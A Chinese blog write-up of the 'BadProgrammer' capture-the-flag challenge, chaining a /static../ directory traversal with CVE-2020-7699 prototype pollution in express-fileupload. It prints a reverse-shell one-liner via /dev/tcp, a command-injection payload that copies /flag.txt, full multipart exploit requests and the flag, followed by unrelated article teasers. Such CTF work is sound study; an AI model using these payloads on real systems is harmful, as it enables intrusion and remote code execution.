news 2026/5/14 21:48:57

攻防世界——BadProgrammer

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
攻防世界——BadProgrammer

拿到靶机首先抓包观察用的是什么服务器和框架

发现服务器是Nginx,框架是PHP的express框架

再用dirsearch扫一遍

发现扫出了/static../

意味着服务器存在配置错误,导致了目录遍历漏洞。

当服务器配置不当时,特别是处理静态文件路径时,攻击者可以利用../(上级目录)序列突破Web根目录限制,访问到服务器上的任意文件。

找到源代码(app.js)

许多Web框架(如Django、Flask、Express等)默认采用/static/作为静态文件目录,而源代码一般都为app.js/app.py

const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });

代码审计

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); });

定义了一个POST路由,路径是/4_pATh_y0u_CaNN07_Gu3ss,当访问此路径时,服务器会渲染flag.ejs文件。

也许flag就在这个路径里

用POST访问/4_pATh_y0u_CaNN07_Gu3ss

看到flag在 flag.txt 中,但是无法直接访问到 flag.txt

再观察源代码

app.use(fileUpload({ parseNested: true }));

发现代码中使用了express-fileupload中间件,且启用了parseNested: true选项

也许这里存在CVE-2020-7699:NodeJS模块代码注入

但这个漏洞仅存在于express-fileupload版本低于1.1.9(不包含)

在package.json中获取版本信息

发现为1.1.7,低于1.1.9

确定存在CVE-2020-7699:NodeJS模块代码注入

CVE-2020-7699:NodeJS模块代码注入

漏洞成因:express-fileupload中间件在处理文件上传时,没有对参数名进行安全校验,特别是当启用parseNested: true选项时,允许通过特殊构造的参数名直接操作JavaScript对象的原型链。

原型链污染:攻击者可通过上传含有__proto__或constructor.prototype等特殊字段的文件,污染Object的原型,从而影响所有JavaScript对象。

反弹shell通用payload如下:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x

ip为公网ip,port为探测端口

文件复制payload如下:

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

cpcopy命令,用于复制文件基础文件操作

/flag.txt源文件路径(根目录下的flag文件)目标flag所在位置

/app/static/js/Web应用静态文件目录可公开访问的目录

flag.txt复制后的文件名保持名称不变,避免混淆

初步探测一下,观察是否有过滤

构造报文

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;console.log('TEST');x -----------------------------1546646991721295948201928333--

成功返回,看来没有过滤

最终利用

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x -----------------------------1546646991721295948201928333--

发送该请求包后,flag.txt将被复制到static/js下,即可得到flag。

curl http://61.147.171.103:58898/static/js/flag.txt

cyberpeace{850ffa1d88ce047bcdcf34dbdbcd1e12}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/13 3:12:38

基于STM32的温度PID控制系统实现

一、系统架构设计 1.1 核心模块选型模块推荐型号关键参数温度传感器DS18B2012位分辨率,0.5℃精度执行机构TEC1-12706最大温差60℃,电流6A电压基准REF30303.0V0.05%精度电流检测ACS712ELC-055A量程,1.5%误差 二、硬件接口实现 2.1 传感器接口电…

作者头像 李华
网站建设 2026/5/1 7:02:43

君耀压敏电阻25D系列的高性能过压保护解决方案

君耀压敏电阻25D系列是君耀(Brightking)推出的高性能压敏电阻产品,广泛应用于电子电路的过压保护。该系列产品以其快速响应、高浪涌电流承受能力以及广泛的电压范围而备受市场青睐。可以说,君耀压敏电阻25D系列是您的高性能过压保…

作者头像 李华
网站建设 2026/5/6 20:33:37

STM32 SAI接口TDM模式深度解析:多通道音频传输的终极解决方案

STM32 SAI接口TDM模式深度解析:多通道音频传输的终极解决方案在音频处理和多通道数据采集领域,TDM(时分复用)技术是解决高通道数传输的关键。本文将深入探讨STM32 SAI接口的TDM模式,揭示其在专业音频系统、多通道数据采…

作者头像 李华
网站建设 2026/5/11 3:57:37

市面上沙特二手车清关证书哪家好

市面上沙特二手车清关证书哪家好?随着沙特进口二手车市场需求的日益增大,二手汽车清关成为了众多从业者关注的重点,而获得符合要求的清关证书是顺利清关的关键。在市面上众多提供沙特二手车清关证书服务的机构中,ASTC-TI那尔泰柯尼…

作者头像 李华
网站建设 2026/5/13 2:26:50

AI大模型优化了谁?程序员还是产品经理?

一名失业中的程序员,因一次创新的求职方式引发全网关注。林默然以999元的价格,在上海地铁陆家嘴站租用广告位5天,展示个人简历二维码,扫码即可追溯其"辗转的职场生涯"。 林默然于2023年5月选择"主动离职"。同…

作者头像 李华
网站建设 2026/5/5 17:17:16

电商客服机器人背后的技术支柱:Qwen3-14B实战

电商客服机器人背后的技术支柱:Qwen3-14B实战 在电商平台日均处理数百万用户咨询的今天,一个“能说会做”的智能客服系统早已不再是锦上添花的功能,而是保障用户体验和运营效率的核心基础设施。然而,许多企业尝试引入大模型时却陷…

作者头像 李华